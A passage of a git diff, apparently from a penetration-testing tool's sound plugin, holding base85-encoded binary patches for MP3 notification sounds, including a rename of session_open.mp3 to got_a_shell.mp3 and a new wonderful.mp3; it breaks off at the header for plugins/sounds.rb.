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 ZEHo5`ocq)CUs22wve^GW{;yBqKLEV~5hwrv literal 0 HcmV?d00001 diff --git a/data/sounds/default/session_open.mp3 b/data/sounds/default/got_a_shell.mp3 similarity index 100% rename from data/sounds/default/session_open.mp3 rename to data/sounds/default/got_a_shell.mp3 diff --git a/data/sounds/default/wonderful.mp3 b/data/sounds/default/wonderful.mp3 new file mode 100755 index 0000000000000000000000000000000000000000..585c83cc2da73cccb48b7373e035b69535514822 GIT binary patch literal 10055 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 literal 0 HcmV?d00001 diff --git a/plugins/sounds.rb b/plugins/sounds.rb index 